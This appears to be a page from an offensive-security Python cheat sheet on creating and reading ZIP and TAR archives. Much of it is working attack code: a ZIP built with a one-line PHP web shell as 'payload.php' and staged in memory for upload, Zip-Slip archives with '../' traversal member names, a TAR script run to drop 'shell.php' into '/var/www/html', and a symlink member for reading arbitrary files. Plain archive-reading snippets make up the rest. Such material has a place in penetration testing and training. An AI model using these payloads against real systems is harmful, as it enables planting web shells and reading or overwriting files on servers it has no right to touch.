Archives
Building and reading ZIP and TAR files, including Zip-Slip and symlink-traversal archives.
Create a ZIP / write entries
A ZIP archive contains named members. writestr(name, data) creates a member directly from bytes or text already held in memory, while write(path, arcname=...) reads an existing local file and stores it under the member name selected by arcname.
import io
import zipfile
# write to disk
with zipfile.ZipFile("out.zip", "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr("payload.php", "<?php system($_GET['c']); ?>")
archive.write("local.txt", arcname="readme.txt")
# build entirely in memory (upload without touching disk)
archive_buffer = io.BytesIO()
with zipfile.ZipFile(archive_buffer, "w") as archive:
archive.writestr("payload.txt", "data")
archive_buffer.seek(0)
files = {
"file": ("payload.zip", archive_buffer, "application/zip")
}io.BytesIO() is an in-memory binary file object. ZipFile writes into it as though it were a disk file, and seek(0) moves its read position back to the beginning before requests uploads it.
Find by: zip, zipfile, create archive, compress, writestr, write, archive, package, build zip, in memory, gap
Zip-Slip — path-traversal archive
Zip Slip is an arbitrary-file-write primitive in an extraction path. The archive member name contains ../ components. A vulnerable extraction implementation joins that name to its destination directory without first confirming that the resolved path remains inside the destination.
import zipfile
with zipfile.ZipFile("payload.zip", "w") as archive:
archive.writestr("../../../../<TARGET_PATH>", "<FILE_CONTENT>")Creating the archive only stores the malicious member name. The write occurs later, when the target’s vulnerable extractor processes that member. The traversal depth and destination path must match the extraction directory and desired target file.
Find by: zip slip, path traversal, malicious zip, arbitrary write, extract, dot dot, overwrite, webshell, exploit, gap, directory escape
Malicious TAR — traversal & symlink
tar.add() reads the local file selected by file_to_archive. Its arcname argument controls the member name stored in the TAR archive. A vulnerable target extractor that trusts a traversal member name can write that file outside its intended extraction directory.
import sys
import tarfile
file_to_archive = sys.argv[1]
name_inside_archive = sys.argv[2]
with tarfile.open("payload.tar.gz", "w:gz") as tar:
tar.add(file_to_archive, arcname=name_inside_archive)python3 tar_archive.py shell.php ../../../../var/www/html/shell.phpA symbolic-link member stores a link target instead of regular file content. If the target extractor creates that link and the application later reads or serves it, the link can redirect the read to a file outside the extraction directory.
import tarfile
with tarfile.open("payload.tar.gz", "w:gz") as tar:
link_member = tarfile.TarInfo("loot.txt")
link_member.type = tarfile.SYMTYPE
link_member.linkname = "<ABSOLUTE_FILE_PATH>"
tar.addfile(link_member)TarInfo represents one archive member. Setting type to SYMTYPE marks it as a symbolic link, and linkname stores the filesystem path that the extracted link references.
Find by: tar, tarfile, symlink, path traversal, arbitrary read, arbitrary write, malicious archive, extract, exploit, gap, link
Read / extract a ZIP
namelist() returns the stored member names. read(name) returns one member’s uncompressed bytes without writing it to disk. extractall() writes every member beneath the selected output directory when the archive is being inspected locally.
import zipfile
with zipfile.ZipFile("in.zip") as archive:
member_names = archive.namelist()
print(member_names)
data = archive.read("config.php")
archive.extractall("out/")List TAR archive members
The r:* mode opens a TAR archive for reading and automatically detects no compression, gzip, bzip2, or xz compression. getmembers() returns TarInfo objects; each object’s name attribute contains its stored path.
import sys
import tarfile
archive = sys.argv[1]
with tarfile.open(archive, "r:*") as tar:
for member in tar.getmembers():
print(member.name)Read a file from a TAR archive
extractfile() opens one regular archive member without extracting the archive to disk.
import sys
import tarfile
archive = sys.argv[1]
file_to_read = sys.argv[2]
with tarfile.open(archive, "r:*") as tar:
archived_file = tar.extractfile(file_to_read)
data = archived_file.read()
print(data.decode())Find by: zip, tar, extract, read archive, namelist, extractall, list contents, unpack, open archive, gap, inspect